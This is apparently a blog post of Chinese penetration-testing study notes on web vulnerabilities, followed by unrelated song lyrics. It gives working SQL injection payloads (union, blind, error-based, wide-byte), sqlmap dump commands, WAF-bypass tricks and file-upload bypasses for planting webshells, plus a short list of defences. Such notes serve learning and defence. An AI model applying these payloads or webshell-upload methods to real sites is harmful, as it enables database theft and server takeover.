渗透基础

 

WEB的组成架构模型

网站源码:分脚本类型、分应用方向

操作系统:Windows、Linux

中间件(搭建平台):Apache IIS Tomcat Nginx等

数据库:access mysql mssql oracle sybase db2 postsql等

 

WEB相关安全漏洞

WEB源码类对应漏洞 SQL注入,上传,xss,代码执行,变量覆盖,逻辑漏洞,反序列化等

WEB中间件对应漏洞

WEB数据库对应漏洞

WEB系统层对应漏洞

其他第三方对应漏洞

APP或pc应用结合类

 

SQL

原理

代码中没有对用户输入项进行验证和处理便直接拼接到查询语句中,通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。第一步我们查找数据库名,第二步我们通过查找tables表里的数据库,可以确定表名,第三步我们通过前两步得到的库名和表名就可以在columns这张表中得到字段名,最后一步我们通过前几步得到的数据库名、表名、字段名得到想要的数据。

 

分类
  1. 显注

  2. 盲注(无回显):时间型,bool型,报错型

sql注入流程
1、找注入点,判断是否可以注入。

2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2

3、如果是字符型注入,判断闭合符。’ " ') ") …

4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节

5、判断列数。 order by

6、判断显错位。 union select 1,2,3, …

7、求库、求表、求字段、求数据。

8、找后台,御剑扫后台目录。

9、上传一句话木马。菜刀,蚁剑连接
具体攻击方式
1、数字型注入

id=1'   //报错,说明有注入点
id=1 and 1=1 //正确
id=1 and 1=2 //错误,说明是数字型注入,否者为字符型注入

order by //判断列数
and 1=2 union select 1,2,3, ...   //判断显错位
and 1=2 union select 1,2,database()   //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据
2、字符型注入(每句话的后面需要加--+)

id=1'   //报错,说明有注入点
id=1’ and '1'='1 //正确
id=1' and '1'='2 //错误,说明是字符型注入

order by //判断列数
and 1=2 union select 1,2,3, ...   //判断显错位
and 1=2 union select 1,2,database()   //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据
3、bool盲注入

首先是判断是数字型还是字符型注入,在得到页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据,那么我们可以判断这是一个布尔型盲注。

and (select length(database()))=8 //求库名长度,
and (select ascii(substr(database(),1,1)))=98 //求库名,求八次
and ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))=100 //求表名,
and ascii(substr((select column_name from information_schema.columns where table.schema='数据库名' and table_name='表名' limit 0,1),1,1))=118 //求字段名
and ascii(substr((select 字段名 from 数据库名.表名 limit 0,1),1,1))=118 //求数据
4、时间盲注入

首先是判断是数字型还是字符型注入,在得到页面响应时间多少来判断是否是时间盲注。利用页面响应时间不同,逐个猜解数据,那么我们可以判断这是一个时间盲注。
and if(length(database())=8,sleep(5),1) //如果数据库名长度在8,这响应延时5秒
and if(ascii(substr(database(),1,1))=95,sleep(5),1) //如果数据库
5、报错查询

and updatexml(1,concat(0x23,database()),1)//求库名
and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=数据库),0x23),1)//求表名
and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'and table_name='表名'),0x23),1)//求字段名
and updataxml(1,concat(0x23,(select group_concat(字段,0x23,字段) from 数据库名.表名)),1)//求数据
6、宽字节注入

index.php?id=1%df%27 union select 1,2%23
index.php?id=1%df%27 union select database(),2%23
这后面的和前面的几种类型注入相识,就不写了。
sqlmap用法

sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段 --dumo是列出字段内容

post型:--data (--forms)
cookie型:--cookie
获取数据库: python sqlmap.py -u "url" --dbs
获取表名:python sqlmap.py -u "url" --tables -D db_name
获取字段名:python sqlamp.py -u "url" --columns -T table_name -D db_name
获取字段内容:python sqlmap.py -u "url" -C column_name --dump -T table_name -D
其他
判断用户:--is-dba
获取用户:--user
判断权限:--privileges
--cookie
对于一些绕过sql注入的方法

1、空格过滤绕过
2、大小写过滤绕过
3、双写关键字绕过
4、编码:双重url编码绕过、十六进制绕过
5、组合法:如and可以用&&再URL编码
6、等价函数替换绕过:如and改成&& =可以用like或in等
7、关键字可以用%(只有IIS系列):如select,可以sel%e%ct
8、通杀 ,内联注释,如/*!select*/
9、multipart请求绕过,在post请求中添加一个上传文件,绕过了绝大多数WAF
10、参数绕过,复制参数,id=1&id=1
防御SQL注入
1、关闭应用的错误提示
2、加waf
3、对输入进行过滤
4、限制输入长度
5、限制好数据库权限,drop/create/truncate等权限谨慎grant
6、预编译好sq1语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sq1注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
7、数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
8、清晰的编程规范,结对/自动化代码review,加大量现成的解决方案
(Preparedstatement,ActiveRecord,歧义字符过滤,只可访问存储过程balabala)已经让SQL注入的风险变得非常低了。

 

文件上传

原理

程序员在对用户我呢间上传功能实现代码没有严格限制用户上传文件后缀已经文件类型或者处理缺陷,导致用户可以越权向服务器上传木马去控制服务器。

 

绕过方法
黑名单:

1、后缀名不完整 .php5 .phtml等

2、.htacess文件上传
这个文件里面的内容是AddType application/x-httpd-php .jpg。我们可以先上传.htaccess这个文件,然后在通过在图片中写入一句话木马,上传图片,这样图片就会被解析成php语言。

3、扩展名绕过
后缀换成大小写的方式绕过

4、在数据包中、后文件缀名前加空格

5、后缀名前加.

6、加上::$DATA

7、未循环验证,可以使用x.php..类似的方法

8、前端JS过滤绕过
如果想要在一个开启了JavaScript验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->将木马的后缀名改为jpg格式->点击forward将数据包发回,这样就可以上传成功。最后用菜刀连接。
还有一种方法就是在地址栏输入:about:config,搜索javascript:enabled,双击关闭,也可以成功。

9、Content-Type绕过
Content-Type一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件。
如果想要在一个有type验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将application/octet-stream修改为image/jpeg。->点击forward将数据包发回,这样就可以上传成功。

白名单

1、%00截断
想通过00%截断来绕过有验证的网站上传一句话木马。将上传的文件名命名为test.php%00.jpg格式,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将%00右击选择Covert selection选项中的URL进行编码->点击forward将数据包发回,这样就可以上传成功。注:系统在对文件名的读取时,如果遇到%00,就会认为读取已结束,不在读取后面的内容。
 
2、图片马(文件头校验绕过)
想要绕过有文件头校验的网站上传一句话木马,这个也很简单,就是在网上下载一张图片,用记事本打开,在图片的中间位置写上一句话木马。保存图片,就可以上传了。

3、条件竞争
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。这个漏洞存在于操作系统、数据库、web等多个层面,像有名的脏牛(dirty cow)。
修复
1、后端验证:采用服务端验证模式
2、后缀验证:基于白名单,黑名单过滤
3、MIME验证:基于上传自带类型艰检测
4、内容检测:文件头,完整性检测
5、自带函数过滤
6、WAF防护软件:宝塔、云盾等

 

文件包含

原理

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

简单来说就是在写程序时遇到了重复编写的代码,程序员就会把这些重复的代码写在一个文件中,到时候要用到重复的代码时直接调用这个文件。

分类
  1. 本地文件包含

  2. 远程文件包含(即加载远程文件)

XSS

  • 跨站脚本攻击 (Cross Site Scripting)

是指攻击者利用网站程序对用户输入过滤不足, 输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading Style Sheets) 的缩写CSS区分开,跨站脚本攻击通常简写为XSS。

  • 危害

    • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

    • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

    • 盗窃企业重要的具有商业价值的资料

    • 非法转账

    • 强制发送电子邮件

    • 网站挂马

    • 控制受害者机器向其它网站发起攻击

  • 反射型XSS跨站脚本攻击

    • 反射型XSS脚本攻击只是简单 地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,所以通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。

  • 存储型XSS跨站脚本攻击

    • 存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,因此存储型XSS具有较强的稳定性。

 

posted @   白榆-  阅读(14)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
  1. 1 原来你也在这里 周笔畅
  2. 2 世间美好与你环环相扣 柏松
  3. 3 起风了 吴青峰
  4. 4 极恶都市 夏日入侵企划
极恶都市 - 夏日入侵企划
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : 王星

作曲 : 灰鸿啊/皮皮

编曲 : 夏日入侵企画

制作人 : 邢硕

节奏吉他 : 肯尼

主音吉他 : 张伟楠

贝斯 : 皮皮

鼓 : 海鑫

和声 : 邢硕

音效制作 : 邢硕

录音 : 邢硕/夏国兴

混音 : 于昊

特别鸣谢 : 张伟楠

这城市的车流和这地表的颤抖

像一颗石子落入地心之后泛起的温柔

暗涌

河水流过转角她的楼

被梦魇

轻声呓语唤醒身后的幼兽

失效感官焦灼只剩下

麻木愚钝无从感受

共同支撑全都瓦解

只是我们现在都

已忘记到底是

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去陈旧的还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

眼看这情节开始变旧

所有的城池已失守

最终无法占有

无眠辗转

伴着人间破碎的旧梦

像繁星

退却后只剩下混沌的夜空

炙热

掩盖风声鹤唳的担忧

把所有失落无助反手推入

无尽的白昼

失效感官焦灼只剩下

麻木愚钝无从感受

共同支撑全都瓦解

只是我们现在都已经忘记到底是

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

眼看这情节开始变旧

所有的城池早已失守

惶恐难以接受

缠绵往复不肯放手

最终无法占有

谁隐藏春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁 灭 即 拯 救

谁掠夺春秋

谁在大雨之后

把旗帜插在最高的楼

过去的陈旧还在坚守

内心已腐朽

摇摇欲坠不停退后

毁灭即拯救

夏日掠夺春秋

结局无法看透

明知城池已失守

缠绵往复不肯放手

最终无法占有

点击右上角即可分享
微信分享提示